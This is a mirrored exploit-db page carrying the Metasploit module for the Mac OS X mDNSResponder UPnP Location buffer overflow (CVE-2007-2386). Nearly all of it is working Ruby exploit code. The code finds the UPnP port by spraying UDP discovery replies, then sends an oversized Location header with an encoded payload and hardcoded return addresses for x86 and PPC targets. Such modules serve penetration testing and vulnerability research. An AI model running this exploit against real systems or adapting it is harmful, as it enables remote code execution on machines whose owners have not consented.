Apple Mac OSX – mDNSResponder UPnP Location Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2011-01-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16871/
  • ##
    # $Id: upnp_location.rb 11515 2011-01-08 01:12:15Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = AverageRanking
    
    	include Msf::Exploit::Remote::Udp
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow',
    			'Description'=> %q{
    					This module exploits a buffer overflow that occurs when processing
    				specially crafted requests set to mDNSResponder. All Mac OS X systems
    				between version 10.4 and 10.4.9 (without the 2007-005 patch) are
    				affected.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'ddz'
    				],
    			'Version'=> '$Revision: 11515 $',
    			'References' =>
    				[
    					[ 'OSVDB', '35142' ],
    					[ 'CVE', '2007-2386' ],
    					[ 'BID', '24144' ],
    					[ 'URL', 'http://support.apple.com/kb/TA24732' ]
    				],
    			'DefaultOptions' =>
    				{
    					'SRVPORT' => 1900,
    					'RPORT' => 0
    				},
    			'Payload' =>
    				{
    					'BadChars' => "\x00\x3a\x2f",
    					'StackAdjustment' => 0,
    					'Space' => 468
    				},
    			'Platform' => 'osx',
    			'Targets' =>
    				[
    					[ '10.4.8 x86',
    						{ # mDNSResponder-108.2
    							'Arch' => ARCH_X86,
    							# Offset to mDNSStorage structure
    							'Offset' => 21000,
    							'Magic'=> 0x8fe510a0,
    							'g_szRouterHostPortDesc' => 0x53dc0,
    						}
    					],
    					[ '10.4.0 PPC',
    						{ # mDNSResponder-107
    							'Arch'=> ARCH_PPC,
    							'Offset'=> 21000,
    							'Magic' => 0x8fe51f4c,
    							'Ret' => 0x8fe41af8,
    						}
    					]
    				],
    			'DisclosureDate' => 'May 25 2007',
    			'DefaultTarget' => 1))
    
    		register_options(
    			[
    				Opt::LHOST(),
    				OptPort.new('SRVPORT', [ true, "The UPNP server port to listen on", 1900 ])
    			], self.class)
    
    		@mutex = Mutex.new()
    		@found_upnp_port = false
    		@key_to_port = Hash.new()
    		@upnp_port = 0
    		@client_socket = nil
    	end
    
    	def check
    		#
    		# TODO: Listen on two service ports, one a single character
    		# shorter than the other (i.e 1900 and 19000).If the copy was
    		# truncated by strlcpy, it will connect to the service listening
    		# on the shorter port number.
    		#
    		upnp_port = scan_for_upnp_port()
    		if (upnp_port > 0)
    			return Exploit::CheckCode::Detected
    		else
    			return Exploit::CheckCode::Unsupported
    		end
    	end
    
    	def upnp_server(server)
    		client = server.accept()
    		request = client.readline()
    		if (request =~ /GET \/([\da-f]+).xml/)
    			@mutex.synchronize {
    				@found_upnp_port = true
    				@upnp_port = @key_to_port[$1]
    
    				# Important: Keep the client connection open
    				@client_socket = client
    			}
    		end
    	end
    
    	def scan_for_upnp_port
    		@upnp_port = 0
    		@found_upnp_port = false
    
    		upnp_port = 0
    
    		# XXX: Do this in a more Metasploit-y way
    		server = TCPServer.open(1900)
    		server_thread = framework.threads.spawn("Module(#{self.refname})-Listener", false) { self.upnp_server(server) }
    
    		begin
    			socket = Rex::Socket.create_udp
    
    			upnp_location = "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT']
    
    			puts "[*] Listening for UPNP requests on: #{upnp_location}"
    			puts "[*] Sending UPNP Discovery replies..."
    
    			i = 49152;
    			while i < 65536 && @mutex.synchronize {
    				@found_upnp_port == false
    			}
    			key = sprintf("%.2x%.2x%.2x%.2x%.2x",
    				rand(255), rand(255), rand(255), rand(255), rand(255))
    
    			@mutex.synchronize {
    				@key_to_port[key] = i
    			}
    
    			upnp_reply = "HTTP/1.1 200 Ok\r\n" +
    				"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
    				"USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" +
    				"Location: #{upnp_location}/#{key}.xml\r\n\r\n"
    
    			socket.sendto(upnp_reply, datastore['RHOST'], i)
    
    			i += 1
    		end
    
    		@mutex.synchronize {
    			if (@found_upnp_port)
    				upnp_port = @upnp_port
    			end
    		}
    		ensure
    			server.close
    			server_thread.join
    		end
    
    		return upnp_port
    	end
    
    	def exploit
    		#
    		# It is very important that we scan for the upnp port.We must
    		# receive the TCP connection and hold it open, otherwise the
    		# code path that uses the overwritten function pointer most
    		# likely won't be used.Holding this connection increases the
    		# chance that the code path will be used dramatically.
    		#
    		upnp_port = scan_for_upnp_port()
    
    		if upnp_port == 0
    			raise "Could not find listening UPNP UDP socket"
    		end
    
    		datastore['RPORT'] = upnp_port
    
    		socket = connect_udp()
    
    		if (target['Arch'] == ARCH_X86)
    			space = "A" * target['Offset']
    			space[0, payload.encoded.length] = payload.encoded
    
    			pattern = Rex::Text.pattern_create(47)
    			pattern[20, 4] = [target['Magic']].pack('V')
    			pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2]
    
    			boom = space + pattern
    			usn = ""
    
    		elsif (target['Arch'] == ARCH_PPC)
    			space = "A" * target['Offset']
    
    			pattern = Rex::Text.pattern_create(48)
    			pattern[20, 4] = [target['Magic']].pack('N')
    
    			#
    			# r26, r27, r30, r31 point to g_szUSN+556
    			# Ret should be a branch to one of these registers
    			# And we make sure to put our payload in the USN header
    			#
    			pattern[44, 4] = [target['Ret']].pack('N')
    
    			boom = space + pattern
    
    			#
    			# Start payload at offset 556 within USN
    			#
    			usn = "A" * 556 + payload.encoded
    		end
    
    		upnp_reply = "HTTP/1.1 200 Ok\r\n" +
    			"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
    			"USN: #{usn}\r\n" +
    			"Location: http://#{boom}\r\n\r\n"
    
    		puts "[*] Sending evil UPNP response"
    		socket.put(upnp_reply)
    
    		puts "[*] Sleeping to give mDNSDaemonIdle() a chance to run"
    		select(nil,nil,nil,10)
    
    		handler()
    		disconnect_udp()
    	end
    end